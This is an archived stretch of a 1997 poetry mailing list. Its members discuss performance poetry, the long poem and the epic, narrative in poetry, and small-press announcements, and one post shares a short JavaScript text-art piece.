Over the last few weeks on the list, there have been offers to get copies of various chapbooks, etc. I'd strongly recommend that you get hold of _Witz 5.1_, Sylvester Pollet's _Backwoods Broadsides_, and _Shadows: New and Selected Dialogues on Poetics_ from Mark Wallace and Jeff Hansen.

Here's another clue for you alll-ll-ll....

"There is no such thing as language."
(statement by Mark Wallace in a dialogue from _Shadows_)

Much good work by everybody in making space for the various poetries.

a bientot,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

101. **orpheus**

GINSBERG READING UPDATE

Mon 5 May 1997

This might be of interest to anyone in the Montreal area. The readers will be reading only A.G's work in tribute to the master of "first thought, best thought." A bientot.

> **********
> *MEMORIAL READING FOR ALLEN GINSBERG*
> *MAY 14, AT THE UPSTAIRS BAR, 1254 MacKay Street*
> *(Guy Metro)*
>
> *8 PM - sharp - no charge -*
>
> *Laszlo Gefin*
> *Clifford Duffy*
> *Brian Sentes*
> *Judith Herz*
> *Lee Gotham*
> *George Slobodzian will all read poems by the late*
> *Allen Ginsberg*
>
> **********

↑ Index

102. **Aldon L. Nielsen**

Re: More Poetry ... more Tracie Morris . . . more more

Mon 5 May 1997

If you're wondering about line breaks in Sonia Sanchez's "improvisation," I believe you can find it improvised yet again in one of her recent collections -- title escapes me at the moment -- "Wounded in the House of a Friend" or something along those lines (my books are on the other side of the continental divide -- forgive me my memory) --

I have to admit it's neither music enough nor poetry enough for me -- I've heard this "improvisation" enough times now that I could probably do it myself as lip synch --

Maryemma Graham is doing a Summer Institute on the Middle Passage in literature -- I suspect the deadlines for applications have passed -- but I'll try to get a report on the proceedings from somebody later in the year --

↑ Index

103. KYLE CONNER/LRC-CAHS

Re: More Poetry ... more Tracie Morris

Mon 5 May 1997

---

maria wrote:

wow, what a wild pairing, but terrific, as trish teaches in my dept and i'm anxious for the writers i adore to gain some credibility among my colleagues, so let's hope trish comes back a tracie fan, if she isn't already!!!md

Maria,

i just saw Tracie Morris at the St. Mark's 30th anniversary symposium this weekend. she read saturday nite with Amiri Baraka, Todd Colby, and Dael Orlandersmith. i enjoyed her reading, her energy, her rhythm, her musicality (she does an incredibly good vocal "scratch"), but i had some problems with it. i kept wondering, what does it mean?: a scratch appropriated from rap music. and what meaning does this poetry have, beyond the limited meaning conveyed in a parity of words repeated over and over? for instance, she did "middle passage" which is, essentially, the song of a female slave on a slave ship. i think there were some words interspersed with the wordless chanting/singing. the chant/song was quite beautiful, but i wanted it to give more meaning (i suppose it wasn't enough music to give the ineffable meaning of music, and wasn/t enough words to give the meaning in language.) i/m fascinated with its creation, the fact that there is a Tracie Morris who creates this wonderful and difficult work, and that it is, in some inexplicable, wonderful way, poetry, but i must say, the limit in its meaning holds me off to a certain degree, or maybe i hold myself from it because of the lack of meaning. i spoke to her afterwards and asked if she had seen sonia sanchez read -she had, earlier that night!- and if she knew sonia's "middle passage," which sonia performed at Rutgers -which Tracie didn't know. sonia, i think conveys a gret deal more meaning in sticking to WORDS. true, she does repeat chunks of them several times, AND begins the piece with a burst of quietly intense hysterical laughter that seeps into the piece at various points, BUT the depth of the piece lay in sonia's unwavering attention to the speaker's THOUGHTS. (i'm paraphrasing and guessing at line breaks here) trying to convey the horror of the journey, the female speaker

moves through its various aspects: "It was the boat/ the boat/ the boat/ It was/ the boat"...she moves on to "It was/ the raping/ the raping/ the raping..." so we are always held at breath-point with this woman and her experiences. sonia's reading was surely one of the high points of the Rutgers conference for me. it's interesting that Tracie says the experience of the slave ship is ineffable, would account for her translation (sublimation?) (transsubstantiation?) of experience into almost pure sound. towards the end of Tracie's reading, i felt the cognitive part of my brain shutting down in fatigue and frustration, although i cherish this struggle of language and sound. poetry is expansive, never ceasing to surprise in its diversity and inovation.

kyle

↑ Index

104. Jena Osman
lab-book
Mon 5 May 1997

On May 2, Jordan Davis wrote:

> *Looking back at Lab Book from UB Poetics (1992), and it's just about coming into focus. If copies still exist, I endorse heartily the purchase. Of interest not merely because it contains early (but representative) work by Juliana Spahr, Mark Wallace, Jena Osman, Lew Daly, Jeff Hansen, Bill Tuttle, Elizabeth Burns, Elizabeth Willis, Cynthia Kimball and Peter Gizzi, but also because it provides a record the closest thing to a POETICS archive for the workshop process short of a documentary film. To refresh the memory: each workshop participant submitted a poem to the group to be responded to; the poems and their responses are revealing. When the book came out, I had no idea what any of these people were talking about (my bad). Now, the styles are clearer (more work exists, more reading has transpired, and I'm getting older too...).*

Copies of this project do still exist. Just to clarify, the Lab Book is not the result of a workshop, but a project I organized around the fact of so many different writers being here at SUNY-Buffalo...its procedure is the beginning of what became the format for issue #1 of _Chain_ (the journal I edit with Juliana Spahr).

Here's an offer: A copy of the Lab-Book is yours for free with a two-issue subscription to _Chain_. The next issue of _Chain_ (#4), on "Procedures," will be out this summer, with work by Jackson Mac Low, Clarinda Mac Low, Caroline Bergvall, Keith and Rosmarie Waldrop, Leslie Scalapino, Janet Zweig, Margaret Morton, Joan Retallack, Tina Darragh, Bill Fuller, Harryette Mullen, Maria Damon, Kevin Killian and many MANY more. Chain #5 will be on "other languages."

Subscriptions are $10 for one issue, $18 for two. Copies of issues 3:1 and 3:2 on "Hybrid Genres" are still available. You can order either by e-mailing me at [redacted] or by sending a request to Chain at 215 Ashland Avenue, Buffalo, NY 14222. Mention if you would like a copy of the Lab-Book as well. Thanks,

Jena

↑ Index

105. Daniel Zimmerman

Re: More Poetry ... more Tracie Morris

Tue 6 May 1997

KYLE CONNER/LRC-CAHS wrote:
>
> maria wrote:
>
> wow, what a wild pairing, but terrific, as trish teaches in my
> dept
> and i'm anxious for the writers i adore to gain some credibility among my
> colleagues, so let's hope trish comes back a tracie fan, if she isn't
> already!!!md
>
> Maria,
>
> i just saw Tracie Morris at the St. Mark's 30th anniversary symposium this
> weekend.
> she read saturday nite with Amiri Baraka, Todd Colby, and Dael
> Orlandersmith. i enjoyed her reading, her energy, her rhythm, her
> musicality (she does an incredibly good vocal "scratch"), but i had some
> problems with it. i kept
> wondering, what does it mean?: a scratch appropriated from rap music. and
> what meaning does this poetry have, beyond the limited meaning conveyed
> in a parity of words repeated over and over? for instance, she
> did "middle passage" which is,
> essentially, the song of a female slave on a slave ship. i think there
> were some words interspersed with the wordless chanting/singing. the
> chant/song was quite beautiful, but i wanted it to give more meaning (i
> suppose it wasn't enough
> music to give the ineffable meaning of music, and wasn/t enough words to
> give the meaning in language.) i/m fascinated with its creation, the
> fact that there is a Tracie Morris who creates this wonderful and
> difficult work, and that it is, in some inexplicable, wonderful way,
> poetry, but i must say, the limit in its meaning holds me off to a

> certain degree, or maybe i hold myself from it because of the lack of
> meaning. i spoke to her afterwards and asked if she had seen sonia
> sanchez read -she had, earlier that night!- and if she knew sonia's
> "middle passage," which sonia performed at Rutgers -which Tracie didn't
> know. sonia, i think conveys a gret deal more meaning in sticking to
> WORDS. true, she does repeat chunks of them several times, AND begins
> the piece with a burst of quietly intense hysterical laughter that seeps
> into the piece at various points, BUT the depth of the piece lay in
> sonia's unwavering attention to the speaker's THOUGHTS. (i'm
> paraphrasing and guessing at
> line breaks here) trying to convey the horror of the journey,
> the female speaker moves through its various aspects: "It was the boat/ the
> boat/ the boat/ It was/ the boat"...she moves on to "It was/ the
> raping/ the raping/ the raping..." so we are always held at
> breath-point with this woman and her experiences. sonia's reading was
> surely one of the high points of the Rutgers conference for me. it's
> interesting that Tracie says the experience of the slave ship is
> ineffable, would account for her translation (sublimation?)
> (transsubstantiation?) of experience into almost pure sound. towards the
> end of Tracie's reading, i felt the cognitive part of my brain shutting
> down in fatigue and frustration, although i cherish this struggle of
> language and sound. poetry is expansive, never ceasing to surprise in
> its diversity and inovation.
>
> kyle

Hello!

I also attended that reading, having missed both Baraka's & Morris' reading [though not Morris' right-on panel appearance] at Rutgers last week, and must agree very much with Kyle about Morris & Sanchez [whom I also heard with Bob Haas at Rutgers]. Dael (sp?), too, keeps the words in focus, as does Baraka, who counterpoints scat with signifying in a way I find very engaging, despite Algarin's demurs at Rutgers about the status of theory or lack of same in the 60s' push in which Amiri persists, indefatigable & not to suffer such dissing lightly. I really enjoyed much of Morris' performance [and some of Colby's, too], but primarily as just and only that, as Kyle says, poetic, but hard to call poetry without dilution of the term. In fact, it seems that much of the repetition in such performance pieces functions as a synchronic analogue [by accretion or, better, intensification] of the recursion-over-time [the diachrony available from the page] of what I've known throughout my life as "poetry." Such insistence upon repetition seems to me compensatory, as if to forestall the possibility that the audience might not choose to reread the work by force-feeding at worst [as

one does a goose to disease its liver for pate] or by risking overdose at best [as if assuming that the 'message' acts like peanuts: "here, have ONE"--obviously impossible since, as Balke said, "less than All cannot satisfy Man." Well, yeah, but not necessarily all at once...]. In fact, Charles Bernstein, in perhaps the least 'gossipy' segment of a "Gossip" session at St. Mark's the afternoon of the Baraka/Morris/et al. reading, made a germane but perhaps unpopular point by saying that the relatively straightforward, unadorned, individual voice of the poet true to the words read from the page offered the most radical instance of the art, even moreso, he suggested, than the histrionics [however artful and engaging] of the primarily 'performance artist.' I.e., rests, too, constitute an essential part of the music. [Whereupon I, too, shall, for the moment, rest.] Best, Dan Zimmerman

↑ Index

106. henry gould
negative capability
Tue 6 May 1997

I looked up n.c. in the Princeton Encyclopedia, irritably reaching after fact & reason. Absorption of the poet's personality in the process of composition. Gusto in identification, empathy, sympathy, mimicry to the extent of seeming to be without character or moral compass (Iago interests the poet as much as any good or heroic figure). Contentment with half-knowledg e without irritable reaching after fact & reason. The poem reflects these motives - it is a sympathetic, magnetic form that draws its audience out of themselves into new appreciation of mystery, beauty, truth, etc.

Princeton SAYS the concept developed in 2 different/opposed directions: 1) Wildean idea of CONSCIOUS ambiguity - the mask, the persona; 2) modernist idea of "sincerity in objectivity" (objective correlative). Both quite different from Keats' original, less calculated(?) idea of left-brainedness(?)...

Does it sound like Keats is saying the poet exhibits traits based on the deep motivation of composition - absorption in a kind of dream- object which unifies (as dreams do) various kinds of beauty & meaning in a sort of uncanny, lifelike, "unexplained" meaning - a dream-action, a mini-drama. And is this impulse based on an "overdetermined" SET of impulses - personal interest in matching/re-making past poems (which hold the same fascination-grip on the poet as on audience in general) - unconscious social disequilibriums or goals - talent as energeia working itself out - & is all this just romantic extra-poetic limburger or is the uncanny in poetry (the tragicomic acting-out) actually the essential thing & what is beautiful about it sings the mockingbird ha ha. - Henry Gould

↑ Index

107. Mark Baker
Which Rabbi
Tue 6 May 1997

Brian McHale said:
> >And she quoted the rabbis (but which one?): "It is not incumbent on you to fin-
> >ish the task. Nor are you free to give it up."
> >I recommend reciting the latter in the morning upon rising & again in the eve-
> >ning before going to bed.

The rabbi is Tarfon, from _Pirke Abot_ (_The Wisdom of the Fathers_), and the task is the study of Torah, so Brian's recommendation would take us all to the yeshiva. I've seen this aphorism quoted in the most outlandish contexts, including at the end of an argument supporting nuclear deterence. Rabbis Tarfon's other famous saying is a better way to start the day: "The day is short, the work is plentiful, the laborers are sluggish, and the reward is abundant, and the master of the house presses."

Mark Baker

↑ Index

108. charssmith
Re: Ronald Johnson
Tue 6 May 1997

In a message dated 97-05-05 04:12:14 EDT, Ken Sherwood writes:

<< I wonder how you heard the 'historic epic' disclaimer--I hear plenty of affinity (if not influence) of Zukofsky in Ark, if not the dense history of Cantos/ Max/Patterson. What do we do with a non-historic epic? Music as much as ark-i-text-ure seems to undergird the poem. >>

Ken,

I didn't hear any disclaimer of influence in RJ's remarks. More that he *is* working in the long poem tradition of Pound, Williams, Olson, Zukofsky, but that his poem was to be in some sort of (poetic?) "present" & that in distinction to his forbears, the historical would not enter the poem (explicitly, at least--& that raises a number of questions, doesn't it?). Ron has always pointed to LZ as a major influence & it's certainly there in the music of _Ark_. In fact, he read the "Spire on the Death of LZ." He pointed w/ pride that only he & LZ had managed to "finish" their poems. I don't see that he draws off the others so explicitly in Ark; I see the Olson influence more clearly in his early books, _Valley of

the Many-Colored Grasses_ & _The Book of the Green Man_. Jonathan Williams would be the other obvious name to mention.

Is it useful to talk of _Ark_ as an epic? or _"A"_ for that matter?

I asked about _RADI OS_ & he said that is now projected to be included in a collected other works, to be titled the "Outworks." Also to include groupings titled "Obelisk" & the "Reflecting Pool", & that he felt he needs some greenery in his work & is working on the "Shrubbery."

Anyone in Buffalo willing to talk about the LZ happenings there?

all best,

Charles Smith

↑ Index

109. Alan Jennifer Sondheim

breathing into the body

Tue 6 May 1997

Surgery and Suture of Jennifer

[Deceptively simple script generates fractal series (not image) based on seconds count; series smears Jennifer-text across screen; series expands and compresses. The series is described in Net1.txt; see "Spew."]

Cut and run on MSE or Netscape 3+.

```
<HTML>
<HEAD>
<TITLE>Surgery and Suture of Jennifer</TITLE>
<META http-equiv="REFRESH" content="1">
</HEAD>
<BODY>
<H4>Working through the body, Mathesis turns out Jennifer</H4>
<SCRIPT LANGUAGE="Javascript">
var now = new Date;
var x = now.getSeconds();
var j = 1;
if (x == 0)
 {x = 2};
while ( x < 65)
{
  while (x % Math.pow(2, j) == 0)
    { j++; }
```

```
  if ( j % 2 == 0)
    document.write("<H3>FOR I DIVIDE YOU</H3>");
  else
    {document.write("<H3>FOR YOU ARE NOT DIVIDED</H3>");}
  x++;
  j = 1;
}
</SCRIPT>
<H4>JENNIFER DIVIDES INTO TWO. JENNIFER DIVIDES YOU INTO
TWO.</H4>
</BODY>
</HTML>
```

↑ Index

110. **Michael Boughn**

Re: Ronald Johnson

Tue 6 May 1997

> *Is it useful to talk of _Ark_ as an epic? or _"A"_ for that matter?*

I'll bite, Charles (since I've been thinking and reading around Jack Clarke's _In the Analogy_ in similar terms). What do you think? Or is yours a rhetorical question?

Mike

↑ Index

111. **sschu30844**

Re: How Public Is the Sphere

Tue 6 May 1997

Aldon and others--Re: Michael Davidson's talk. His bottom line was that cultural studies work tends to privilege narrative over non-narrative forms. Michael pointed out a range of work, much of it from the Caribbean, that is susceptible (that may be the wrong word!) to the work of cultural studies--work by Brathwaite and others. I'm hoping he gives the talk to non-poetry types as well as to us. This reminds me that Lois-Ann Yamanaka's first novel from Farrar, Straus & Giroux includes a bio note that refers to her first book as a "prize-winning book of short stories" when, in fact, it is a book of poems (poems that are more hard hitting than is her prose). I notice that the paperback version of the

book corrects that claim. A job candidate here (at the University of Hawai'i) gave a brilliant talk a couple of years back in which she reported that Yamanaka had referred to her book of poems as a series of "novellas." She then went ahead and talked about the book for upwards of an hour with no mention of its being a book of poems. Michael's interventions are thus most welcome.

best, Susan

↑ Index

112. Aldon L. Nielsen
Re: How Public Is the Sphere
Tue 6 May 1997

Susan -- Thanks for that brief on Davidson's talk, which I look forward to reading -- At the ALA in Baltimore, some of us will attempt to show what cultural studies might offer to readings of Pound -- Demonstration is the highest form of battery!

↑ Index

113. Mark Weiss
Re: How Public Is the Sphere
Tue 6 May 1997

Re: Lois Ann Yamanaka In her recent reading at UCSD she referred to the book in question as, alternately, a book of stories and a novel. She also read from an earlier small-press book of poems which struck me as narratives not overly different from the "stories" except in length and not something that I would call poetry despite its entertainment value.

At 03:59 PM 5/6/97 -0400, you wrote:
>Aldon and others--Re: Michael Davidson's talk. His bottom line was that
>cultural studies work tends to privilege narrative over non-narrative forms.
> Michael pointed out a range of work, much of it from the Caribbean, that is
>susceptible (that may be the wrong word!) to the work of cultural
>studies--work by Brathwaite and others. I'm hoping he gives the talk to
>non-poetry types as well as to us.
>This reminds me that Lois-Ann Yamanaka's first novel from Farrar, Straus &
>Giroux includes a bio note that refers to her first book as a "prize-winning
>book of short stories" when, in fact, it is a book of poems (poems that are
>more hard hitting than is her prose). I notice that the paperback version of
>the book corrects that claim. A job candidate here (at the University of
>Hawai'i) gave a brilliant talk a couple of years back in which she reported
>that Yamanaka had referred to her book of poems as a series of "novellas."
> She then went ahead and talked about the book for upwards of an hour with

no
>mention of its being a book of poems.
>Michael's interventions are thus most welcome.
>
>best, Susan
>
>

↑ Index

114. Christopher Alexander
n/formation
Tue 6 May 1997

Brief (sort of) Announcement

The server which houses n/formation
(choengmon.lib.utah.edu/~calexand/nonce)
was broken into in mid-April. Fortunately
the hackers were not malicious, &, once
taken down, it provided good opportunity
to upgrade the system, but my sys admin
is nervous as a cat these days
--So,
n/formation is temporarily unavailable, it
seems, to users outside of our system. I've
asked to be moved to a different server,
& should be finding out about that very
soon. In any case, this is just to apologize
to those of you who may have tried to
access the periodical (sporiadical?) &
received the mysterious "Forbidden"
message.

I'll post to the list when we're back online.

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

↑ Index

115. **sschu30844**
poetry and prose
Tue 6 May 1997

for Mark Weiss--I'll keep it short, as my modem link is tenuous. But I beg to differ on Yamanaka's poetry; their entertainment value is, in fact, part of her incisive critique of Hawaii society. When an audience finds itself laughing at a woman screaming abuse at her children, it can't rest easy with the poem's entertainment value. Y's poems are also aggressively anti-lyrical and so important as poems, it seems to me, in a place where, until recently, poetry was defined as the stuff written by Robert Frost et al (not that I necessarily dislike Frost, but his birch trees and snow are rather far from home here). The poetry--and the form of it--are anti-colonial. (Though now local Asian American writers are being attacked by native Hawaiians for being as colonial as are whites...but that's for another posting.) Susan

↑ Index

116. **nuyopoman**
Poetry Radio/Poetry Labels
Tue 6 May 1997

I'm developing a national list of poetry radio shows and poetry record labels which will be posted on the Mouth Almighty and Mining Company sites. Would appreciate help in assembling -- send contact info, current playlist/artist rosters, genres, etc. Backchannel - or front for the Word!

Bob Holman

(current essay at The Mining Company is re:ACCESS, http://poetry.miningco.com)

↑ Index

117. **Christopher Alexander**
Re: alterior plugs
Tue 6 May 1997

Alright, then, I'll chime in with a few recommendations:

Story for a Sascatchewan Night & _Visible Visions_, 2 from ["our own illustrious"] Douglas Barbour (of the North), & both excellent books. I'm particularly taken with some of the sound poems in the latter, which are a lot of fun to perform. It's hopeless to characterize the work as usual, but for what it's worth I'll say that _Story..._ is, among other things, an extended play on & against the conventions of narrative--in which stories move into & out of narrative & anti-narrative space, the latter often revealing more than the former...

at any rate, don't let my bad description keep you from
reading these good books.

Also--dunno how many times I've said this, but one more
won't hurt by now:
Peter Inman's _Vel_ (O Books): read it.

Chris
..
Christopher Alexander, etc.
nominative press collective

160S 1300E #16 / Salt Lake City UT 84102
[redacted]

↑ Index

118. Mark Weiss
Re: poetry and prose
Wed 7 May 1997

I'm outside the loop on this kind of discussion, so I may have missed something. Why are dramatic monologues formally anticolonial (formally, as opposed to their content, oy vey)? Is "Giuseppe da barber he gotta da mash" formally anti-colonial? Is Robert Browning? Another thing: Is the point about Yamanaka's poetry's local importance that it fills a lacuna in Hawaiian culture by creating a body of work that corresponds somehow with what was current in other places fifty years ago? Should someone write Hawaiian Augustan satire because that was missed out on too? All I know of Yamanaka's work is what I heard her read. I thought the prose was interesting. And I thought the poetry was prose. Maybe I'd feel differently if I knew more, and on ne discute pas, etc.

At 08:16 PM 5/6/97 -0400, you wrote:
>for Mark Weiss--I'll keep it short, as my modem link is tenuous. But I beg
>to differ on Yamanaka's poetry; their entertainment value is, in fact, part
>of her incisive critique of Hawaii society. When an audience finds itself
>laughing at a woman screaming abuse at her children, it can't rest easy with
>the poem's entertainment value. Y's poems are also aggressively anti-lyrical
>and so important as poems, it seems to me, in a place where, until recently,
>poetry was defined as the stuff written by Robert Frost et al (not that I
>necessarily dislike Frost, but his birch trees and snow are rather far from
>home here). The poetry--and the form of it--are anti-colonial. (Though now
>local Asian American writers are being attacked by native Hawaiians for being
>as colonial as are whites...but that's for another posting.) Susan
>
>

↑ Index

119. Loss Glazier

(no subject)

Wed 7 May 1997

Peter Ganick asked me to post this. Hopefully I'm not causing any duplication but if so, please forgive ...

>POTEPOETZINE, a new experimental e-zine
>devoted to experimental poetry and e-art
>which will appear irregularly, but frequently,
>is taking subscriptions for its first issue
>to be sent through e-mail before june 1, 1997....
>
>issue ONE will feature 10 poets' work and
>a section of e-art by hartord ct area artists....
>
>if you want to receive POTEPOETZINE,
>please send your e-mail address before
>may 7, 1997 to: [redacted] and
>after may 9, 1997 to: [redacted]
>mentioning where you saw this announcement....
>
>no submissions, please, with your order,
>ONE will include information about
>submitting texts to TWO and beyond....
>
>do not fax, snail-mail, or telephone us,
>only e-mail will receive a response....
>
>POTEPOETTEXT, a series of electronic texts
>surrounding the on-going worldwide discourse
>about poetics, culture, and experimental art
>will also be included in your subscription,
>submissions for this series are being accepted....
>
>POTEPOETZINE....POTEPOETTEXT....
>experimental poetry and cultural discourse....
>

↑ Index

120. Mark Prejsnar
Re: Ronald Johnson
Wed 7 May 1997

Long texts should be called something else. The context of "epic" was getting pretty indeterminant and squishy even before the early cantos, The Bridge, Paterson etc got started. No question that something about grandeur of gesture, not to mention containing history, was in the minds of various "High Modernists," to whom the word was important. But the sum total of the poetic universe we have now, at 2000 or so, has outlived any focused accuracy for the term. (..among other things you could execute Jed Rasula's great pun, and point out that "containing history" can be understood as a police action: as in american anti-communist "containment" in the fifties). Lots of other reasons I find it unuseful and hyperacademic: what is Rimbaud's Saison en Enfer? It's a long modernist text which has little truck with the models "epic" implies. Those models themselves don't really live for us, as they did when ode and sonnet etc. were major framing gestures in lyric poetry.

Mark P.
Atlanta

On Tue, 6 May 1997, Michael Boughn wrote:

> *Is it useful to talk of _Ark_ as an epic? or _"A"_ for that matter?*
>
> *I'll bite, Charles (since I've been thinking and reading around Jack Clarke's _In the Analogy_ in similar terms). What do you think? Or is yours a rhetorical question?*
>
> *Mike*

↑ Index

121. Mark Prejsnar
Re: How Public Is the Sphere
Wed 7 May 1997

There's always been this impulse to assure people that something is primarily narrative. At least in our culture. The non-narrative is threatening--to the reader and therefore to marketing possibilities. I remember when Bob Dylan's fairly interesting prose text Tarantula came out--Despite the fact that by any conceivable standard it was "poetry", and utterly nonlinear and non-narrative, it was firmly marketed (and discussed) as "Dylan's novel." Many of L. Scalapino's long prose pieces are refered to routinely as novels and stories; I was interested

a few years ago to hear her read sections from various such pieces, always refering to them as poems...

Mark P.

On Tue, 6 May 1997 [redacted] wrote:

> *Aldon and others--Re: Michael Davidson's talk. His bottom line was that cultural studies work tends to privilege narrative over non-narrative forms. Michael pointed out a range of work, much of it from the Caribbean, that is susceptible (that may be the wrong word!) to the work of cultural studies--work by Brathwaite and others. I'm hoping he gives the talk to non-poetry types as well as to us.*
> *This reminds me that Lois-Ann Yamanaka's first novel from Farrar, Straus & Giroux includes a bio note that refers to her first book as a "prize-winning book of short stories" when, in fact, it is a book of poems (poems that are more hard hitting than is her prose). I notice that the paperback version of the book corrects that claim. A job candidate here (at the University of Hawai'i) gave a brilliant talk a couple of years back in which she reported that Yamanaka had referred to her book of poems as a series of "novellas." She then went ahead and talked about the book for upwards of an hour with no mention of its being a book of poems.*
> *Michael's interventions are thus most welcome.*
>
> *best, Susan*

↑ Index

122. henry gould
epic/narrative
Wed 7 May 1997

Rolling 2 responses into one: I agree with Mark P. that the term "epic" is thrown around loosely, & when we're talkin specifically about long poems maybe we should try to be more specific - but i don't think the mode is necessarily meaningless or anachronistic now - probably something similar was thought in Milton's day, but he managed it (by re-thinking the hoariest epic machinery) - epic still might be an avenue for poetry as differing from prose fiction -

as far as narrative in poetry, I'm starting to think the best approach to the social context of poetry is by seeing it as a narrative concentrate - dramatic poetry is always framed by the plot & there's a plot behind every speech act -

I haven't thought this through obviously but others have & maybe have blasts prepared - fire away, Gridley; ringsiders, observe!

- Henry G.

↑ Index

123. Maria Damon
Re: How Public Is the Sphere
Wed 7 May 1997

---

one of the themes of my talk at rutgers was an enumeration of the works that have already been done that cd be considered poetry and cultural studies, the field it's my longterm mission to map out...md

At 1:06 PM -0700 5/6/97, Aldon L. Nielsen wrote:
>Susan -- Thanks for that brief on Davidson's talk, which I look forward to
>reading -- At the ALA in Baltimore, some of us will attempt to show what
>cultural studies might offer to readings of Pound -- Demonstration is the
>highest form of battery!

↑ Index

124. Jordan Davis
Re: epic/narrative
Wed 7 May 1997

I've been informed that there's some (old old) critical work linking Philip Whalen's poetry to the poetry of Ezra Pound, but has anybody written on the connections between Whalen and James Schuyler, their poetry, I mean?

Jordan

↑ Index

125. Mark Weiss
Re: epic/narrative
Wed 7 May 1997

Actually, everybody and his brother were writing epics in the 16th-17th century--it was a felt need of newly consolidating nation-states that there be a national epic, in emulation of the Greeks and Romans; these were often tied, like Virgil, to Homer. In writing a national epic the author was at once claiming legitimacy for his national-political entity and its institutions and parity with the ancients for his culture. There were also a slew of religious epics.

At 09:27 AM 5/7/97 EDT, you wrote:
>Rolling 2 responses into one: I agree with Mark P. that the term "epic"
>is thrown around loosely, & when we're talkin specifically about long poems
>maybe we should try to be more specific - but i don't think the mode
>is necessarily meaningless or anachronistic now - probably something
>similar was thought in Milton's day, but he managed it (by re-thinking

>the hoariest epic machinery) - epic still might be an avenue for poetry
>as differing from prose fiction -
>
>as far as narrative in poetry, I'm starting to think the best approach to
>the social context of poetry is by seeing it as a narrative concentrate -
>dramatic poetry is always framed by the plot & there's a plot behind every
>speech act -
>
>I haven't thought this through obviously but others have & maybe have
>blasts prepared - fire away, Gridley; ringsiders, observe!
>
>- Henry G.
>
>

↑ Index

126. **Pritchett,Pat**

Re: epic/narrative

Wed 7 May 1997

File this under unsleeping dogs: Perhaps the decline of the traditional epic corresponds inversely to the rise of the idea of the individual, or the cult of the individual, as it may now be called in many of its manifestations, that is, in its decay from an invigorating gesture in the dialectical exchange between society and person to the rampant abuses of Me-ism which ironically play back into the hive mentality of consumerist ideology. (Duby and his colleagues address much of this in their "epic" _A History of Private Life_ - of which I've only read Vol. 2 on the medieval period).

ARK is "epic" in scope, certainly - for playing out a single set of ideas or themes sonata-like across a range of variations. It is not epic in the sense that it celebrates the martial spirit or ethos of an era, its arete (not the same thing). I don't think Milton wld recognize it as an "epic." Or wld he? There is the same concern with cosmic or extra-personal scale, for instance. An interesting notion to play with.

Patrick Pritchett
who from his office cube can see the clouds drifting shadow across the Flatirons with something approching Johnsonian epic grandeur
---
From: henry gould
To: POETICS

Subject: epic/narrative
Date: Wednesday, May 07, 1997 8:46AM

Rolling 2 responses into one: I agree with Mark P. that the term "epic" is thrown around loosely, & when we're talkin specifically about long poems maybe we should try to be more specific - but i don't think the mode is necessarily meaningless or anachronistic now - probably something similar was thought in Milton's day, but he managed it (by re-thinking the hoariest epic machinery) - epic still might be an avenue for poetry as differing from prose fiction -

- Henry G.

↑ Index

127. David Israel

Re: epic/narrative - Flowchart

Wed 7 May 1997

Any view on candidacy of John Ashbery's book-length *Flowchart* for some epic-ish rubric? The booksuggests, at least, something akin to so-called "epic ambition" --

In a noteable phrase in the 1st page or so, the poet refers to "the published city" [something like "who in the published city . . ?"-- and Ashbery thereby invokes (I think) the notion of a poem endeavoring to serve as epic for such an imaginal city-state (comprised of the readership of such publications . . .)

As for "the published city" -- along related lines, the opening salvo in Merwin's recent *Travels* says "But who in the total city" -- the total city of Merwin being, I think, not too dissimilar from the published city of Ashbery. Both invoke a contemporary literary readership as "city."

One critical jibe (I guess) at Ashbery's tome characterized it as "more chart than flow" (prob. in the pages of *Poetry* or some such). But it does have a lot of flow to it, withal (from such of it as I've read so far) . . and the opening passage anyway (which I've read a number of times) seems to suggest an attempt to reconfigure the notion of what-is-epic. Or so it seemed to me . . .

d.i.

>>> Mark Weiss <[redacted]> 05/07/97 12:55pm
>>>
Actually, everybody and his brother were writing epics in the 16th-17th century--. . .

↑ Index

128. E. Gottlieb
Re: epic/narrative
Wed 7 May 1997

Would anyone mind providing a brief definition of "narrative" poetry, as opposed to "non-narrative" poetry? All poetry is linear, I think, in the strict sense, insofar as language moves forward in time ... must narrative poetry specifically "tell a story" to be considered narrative, then? And why should the lack of a story be considered subversive, as some people have intimated? Thanks, Evan

↑ Index

129. Christine Palma
Re: Poetry Radio/Poetry Labels
Wed 7 May 1997

> *I'm developing a national list of poetry radio shows and poetry record labels which will be posted on the Mouth Almighty and Mining Company sites. Would appreciate help in assembling -- send contact info, current playlist/artist rosters, genres, etc. Backchannel - or front for the Word!*

I am making KXLU's website, perhaps we could be linked from your site once it's up.

Thanks again,
Christine

_____
christine palma
[redacted]

samples: high-bandwidth, communications, bpm, asia in the yr 2000, fractal structures, cu-seeme fuzzy, memory encapsulated, radio, a sculpture in every living room, a sculpture in every park, a sculpture in every body, cyborgs, e-mail, letterpress, return to drawing, kitchensink genetics, mindoro, coincidence, encaustic, pedestrians rights, sleep depriviation high, the moon . . .

↑ Index

130. hen
Re: epic/narrative
Wed 7 May 1997

What I was suggesting was that maybe all poetry could be read as narrative. A lot of the best poetry is simply beautiful word painting. But paintings tell stories too. By narrative I'm thinking of storytelling, plot. Of course this is stretching things to the invisible amorphous. But in the context of the "pub sphere"

discussions of late I just wanted to reiterate Aristotle's interesting definition of "poet" as maker of plots, weaver of verbal actions. Maybe it was Blarnes or Spandrift - - but if this be I [who suggested non-narrative poetry was subversive] then... I is another [mortal dust]. - Henry Gould

↑ Index

131. Pritchett,Pat
Re: epic/narrative - Flowchart
Wed 7 May 1997

Yes, David, I think _ Flowchart_ cld indeed qualify as an epic whose epicness consists in its undermining of the trad. idea of the epic, though like you, I've not read it all yet. As Marjorie Perloff observes in her blurb (I paraphrase) - it's related to Wordsworth's _Prelude_ (which actually revises my earlier idea about the decline of epic and the rise of individualism as a cultural idee fixe).

Along those lines - what about Ron Silliman's _Alphabet_? Epic in scale, yes. But wld Ron describe it in those terms?

Patrick P.

From: David Israel
To: POETICS
Subject: Re: epic/narrative - Flowchart
Date: Wednesday, May 07, 1997 2:06PM

Any view on candidacy of John Ashbery's book-length *Flowchart* for some epic-ish rubric? The booksuggests, at least, something akin to so-called "epic ambition" --

↑ Index

132. Michael Magee
Re: Poetry Radio/Poetry Labels
Wed 7 May 1997

Penn's station WXPN recently started a show called "Live at the Writers House" which combines alot of poetry read live with a little music played live - visting and local poets. Get a hold of Kristen Gallagher (hi Kristen if you're reading this) at [redacted]

